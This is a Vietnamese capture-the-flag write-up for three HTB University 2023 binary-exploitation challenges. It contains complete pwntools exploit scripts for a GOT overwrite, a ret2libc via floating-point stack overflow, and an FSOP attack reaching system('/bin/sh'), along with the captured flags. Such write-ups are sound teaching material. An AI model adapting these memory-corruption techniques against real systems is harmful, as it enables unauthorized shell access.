# (writeup) HTB University 2023 ## great old talisman - basic file check ![image](https://hackmd.io/_uploads/rkNv3IGOa.png) - check ida ![image](https://hackmd.io/_uploads/Skc61vfOa.png) > **main()** ![image](https://hackmd.io/_uploads/H1VXevGd6.png) > **read_flag()** ### analyse: - nhập số **v3** rồi read vào ``talis[v3]`` 2 byte ![image](https://hackmd.io/_uploads/SJxIewMOp.png) >0x4040a0 - nhìn thấy khi kết thúc chương trình, gọi đến **exit(1312)** - tận dụng khả năng ghi trên mà thay đổi exit@GOT ### get flag ![image](https://hackmd.io/_uploads/ByJTlwGd6.png) - script: ```python from pwn import * context.binary = exe = ELF('./great_old_talisman') # p = process(exe.path) p = remote('94.237.60.11',36842) p.sendline(b'-4') p.send(p32(exe.sym['read_flag'] & 0xffff)) p.interactive() #HTB{th4nk_G0T_w3_h4v3_th15_t4l15m4n} ``` >HTB{th4nk_G0T_w3_h4v3_th15_t4l15m4n} --- ## zombienator - basic file check ![image](https://hackmd.io/_uploads/r1uYWtQua.png) - check ida ![image](https://hackmd.io/_uploads/BkBGQYm_T.png) > **main()** ![image](https://hackmd.io/_uploads/rJK97KXdp.png) > **create()** > tạo chunk size tối đa 0x82 > control được index chunk : ``*(&z + num)`` > không thể nhập gì vào chunk ![image](https://hackmd.io/_uploads/H1uhmFmd6.png) > **removez()** > free không xoá ptr ![image](https://hackmd.io/_uploads/H1fkNtXua.png) > **display()** > in ra thôi ![image](https://hackmd.io/_uploads/Sy7WEFmOT.png) > **attack()** > lần này cho phép nhập trên stack với bug BOF > kiểu nhập là ``%lf`` > sau đó **fclose(stderr)** và **fclose(stdout)** > cuối cùng return ### analyse - ở option cuối **attack()**, ta có thể chain payload để thực thi ret2libc - payload sẽ ép kiểu về dạng ``%lf`` - về canary thì bypass bằng dấu ``.`` (chấm) - tính toán vòng lặp: ``` v3[33] : 33 vòng buffer 34 canary 35 rbp 36 pop rdi 37 /bin/sh 38 system #39 nếu bị xmm0 ``` ### leak libc - vì là libc6 nên ta sẽ fill 9 chunk rồi free 8 - sau đó **display()** là leak được ![image](https://hackmd.io/_uploads/HkrSotQ_6.png) ### get flag ![image](https://hackmd.io/_uploads/rkTYF5mda.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./zombienator_patched',checksec=False) libc = ELF('./libc.so.6',checksec=False) ld = ELF('./ld-linux-x86-64.so.2',checksec=False) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*attack+210 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('localhost',1337) else: p = process(exe.path) def add(size,idx): sla(b'>> ', b'1') sla(b'tier: ', str(size)) sla(b'(5-9): ', str(idx)) def delete(idx): sla(b'>> ', b'2') sla(b'position: ', str(idx)) def display(): sla(b'>> ', b'3') def fmt(payload): sla(b': ', str(struct.unpack('d', p64(payload))[0])) for i in range(0,9): add(0x80,i) for j in range(0,8): delete(j) display() p.recvuntil(b'[7]: ') libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - 0x219ce0 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) sla(b'>> ', b'4') sla(b'attacks: ', b'39') for i in range(35): sla(b': ', b'.') pop_rdi = libc.address + 0x000000000002a3e5 # GDB() fmt(pop_rdi) fmt(next(libc.search(b'/bin/sh\0'))) fmt(pop_rdi+1) fmt(libc.sym['system']) p.interactive() #HTB{tc4ch3d_d0ubl3_numb3r5_4r3_0p} ``` >HTB{tc4ch3d_d0ubl3_numb3r5_4r3_0p} --- ## zombiedote - basic file check ![image](https://hackmd.io/_uploads/HJKrZoXOp.png) - check ida ![image](https://hackmd.io/_uploads/Bk22ZiXda.png) >**main()** ![image](https://hackmd.io/_uploads/BJQJzo7u6.png) >**create()** >malloc với size lớn thoải mái >vượt 0x20000 khả năng sẽ tạo mmap ![image](https://hackmd.io/_uploads/BJ4QMjQd6.png) >**insert()** >được **insert** 1 lần >input không vượt quá size chunk tạo ra ![image](https://hackmd.io/_uploads/ByWrzjm_p.png) >**edit()** >được **edit** 2 lần > maybe có lỗi OOB ở '%lu' ![image](https://hackmd.io/_uploads/BkHLfoXOa.png) >**delete()** >hàm sẽ **exit** chương trình >không có **free** ![image](https://hackmd.io/_uploads/S11tziXua.png) >**inspect()** >tương tự hàm **edit()**, bug OOB ở '%lu' nhưng lần này sẽ leak cho ta dữ liệu ### analyse - như ta đề cập trên, ở hàm **create()** sẽ có thể malloc lượng lớn size - đồng nghĩa tạo mmap với bit_in_use là 0x2 ([xem thêm](https://hackmd.io/@trhoanglan04/SyKLQL1Pn#Chunks-v%C3%B9ng-nh%E1%BB%9B)) ![image](https://hackmd.io/_uploads/By6Qnp9Op.png) >malloc size 0x1000000 >input là 2097152 (0x200000) do còn nhân 8 ![image](https://hackmd.io/_uploads/Hkaoh69up.png) >trả về con trỏ không phải heap >![image](https://hackmd.io/_uploads/SJyR36qdp.png) ### leak libc - tiếp theo hoàn toàn có thể leak được libc nếu ta tận dụng bug OOB ở **inspect()** - thì ta sẽ tận dụng leak ở stdout - tính offset đến đó: ![image](https://hackmd.io/_uploads/Hyy6C6cuT.png) >index = (0x1000ff0+stdout+8)/8 >cộng 8 do địa chỉ đầu là _flags (0xfbad) >![image](https://hackmd.io/_uploads/BJjUyC5dT.png) >offset_base = 0x2197e3 >offset sẽ khác trên server ```python p.sendlineafter(b'>> ',b'1') p.sendlineafter(b'samples: ',str(0x1000000//8).encode()) stdout = libc.sym['_IO_2_1_stdout_'] info("stdout: " + hex(stdout)) offset = 0x1000ff0 p.sendlineafter(b'>> ',b'5') leak = offset + stdout + 8 p.sendlineafter(b'inspect: ',str(leak//8).encode()) ``` - ngoài ra dữ liệu được leak sẽ ở dạng float nên cần convert về hex ```python libc_leak = struct.unpack('Q', struct.pack('d', float(p.recvline()[:-1])))[0] ``` ### IO_FILE struct attack - vì đi kèm libc2.34 nên khả năng lấy shell ở hook hay ret là bất khả thi - ta sẽ perform FSOP ở ``exit``, không thể fake vtable thì ở 2.34 đã có security check ([xem thêm](https://hackmd.io/@trhoanglan04/SJWrxsQs2#fake-vtable)) - perform ``exit`` cũng có nghĩa sẽ trigger option **delete()** - khi ``exit`` được call đến, nó sẽ duyệt qua các std ở ``_IO_list_all``, nên ``_IO_list_all`` thay đổi thì sẽ execute fake file của mình - ``_IO_list_all`` trỏ đến stderr ([xem thêm](https://hackmd.io/@trhoanglan04/SJWrxsQs2#overview)) - stderr thì có vtable trỏ đến ``__GI__IO_file_jumps`` ![image](https://hackmd.io/_uploads/B1VF7A5da.png) - trong ``__GI__IO_file_jumps`` khi ``exit`` được call đến sẽ đá động tới ``__overflow`` ![image](https://hackmd.io/_uploads/B1AVEAqu6.png) - tóm lại cần ow 2 thứ: - fake file ở stderr - _overflow = system ### fake file - ``_flag`` là b'/bin/sh\0' tương ứng $rdi - ``_IO_write_ptr`` > ``_IO_write_base`` - ``vtable`` = ``__GI__IO_file_jumps`` ```python __GI__IO_file_jumps = libc.sym['__GI__IO_file_jumps'] _IO_list_all = libc.sym['_IO_list_all'] system = libc.sym['system'] base = libc.address - offset p.sendlineafter(b'>> ', b'2') p.sendlineafter(b': ', str(28)) p.sendlineafter(b'): ', str(struct.unpack("d", b'/bin/sh\0')[0]).encode()) #0x0: _flags = /bin/sh\00, set rdi for i in range(3): p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x00))[0]).encode()) p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x01))[0]).encode()) #0x20: _IO_write_base = 0x01 p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x02))[0]).encode()) #0x28: _IO_write_ptr = 0x02 > _IO_write_base for i in range(21): p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x00))[0]).encode()) p.sendlineafter(b'): ', str(struct.unpack("d", p64(__GI__IO_file_jumps))[0]).encode()) # 0xe8: vtable = __GI__IO_file_jumps , bypass IO_validate_vtable ``` - **edit()** thì sửa ``__GI__IO_file_jumps`` trỏ về fake file ```python p.sendlineafter(b'>> ', b'4') p.sendlineafter(b': ', str((_IO_list_all - base)//8).encode()) p.sendlineafter(b'): ', str(struct.unpack("d", p64(base))[0]).encode()) ``` ### _overflow - tương tự khi ow vtable ```python __overflow = __GI__IO_file_jumps + 0x18 p.sendlineafter(b'>> ', b'4') p.sendlineafter(b': ', str((__overflow - base)//8).encode()) p.sendlineafter(b'): ', str(struct.unpack("d", p64(system))[0]).encode()) ``` ### get flag ![image](https://hackmd.io/_uploads/B13y5C9dp.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./zombiedote_patched',checksec=False) libc = ELF('./libc.so.6',checksec=False) ld = ELF('./ld-2.34.so',checksec=False) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*create+98 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('',) else: p = process(exe.path) p.sendlineafter(b'>> ',b'1') p.sendlineafter(b'samples: ',str(0x1000000//8).encode()) stdout = libc.sym['_IO_2_1_stdout_'] info("stdout: " + hex(stdout)) offset = 0x1000ff0 p.sendlineafter(b'>> ',b'5') leak = offset + stdout + 8 p.sendlineafter(b'inspect: ',str(leak//8).encode()) p.recvuntil(b'): ') libc_leak = struct.unpack('Q', struct.pack('d', float(p.recvline()[:-1])))[0] libc.address = libc_leak - 0x2197e3 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) __GI__IO_file_jumps = libc.sym['__GI__IO_file_jumps'] _IO_list_all = libc.sym['_IO_list_all'] system = libc.sym['system'] base = libc.address - offset p.sendlineafter(b'>> ', b'2') p.sendlineafter(b': ', str(28)) p.sendlineafter(b'): ', str(struct.unpack("d", b'/bin/sh\0')[0]).encode()) #0x0: _flags = /bin/sh\00, set rdi for i in range(3): p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x00))[0]).encode()) p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x01))[0]).encode()) #0x20: _IO_write_base = 0x01 p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x02))[0]).encode()) #0x28: _IO_write_ptr = 0x02 > _IO_write_base for i in range(21): p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x00))[0]).encode()) p.sendlineafter(b'): ', str(struct.unpack("d", p64(__GI__IO_file_jumps))[0]).encode()) # 0xe8: vtable = __GI__IO_file_jumps , bypass IO_validate_vtable p.sendlineafter(b'>> ', b'4') p.sendlineafter(b': ', str((_IO_list_all - base)//8).encode()) p.sendlineafter(b'): ', str(struct.unpack("d", p64(base))[0]).encode()) __overflow = __GI__IO_file_jumps + 0x18 p.sendlineafter(b'>> ', b'4') p.sendlineafter(b': ', str((__overflow - base)//8).encode()) p.sendlineafter(b'): ', str(struct.unpack("d", p64(system))[0]).encode()) p.sendlineafter(b'>> ', b'3') p.interactive() #>HTB{y0u_r3tr13v3d_th3_r3s34rcH_n0t3s_4nd_s4v3d_u5_4ll} ``` >HTB{y0u_r3tr13v3d_th3_r3s34rcH_n0t3s_4nd_s4v3d_u5_4ll}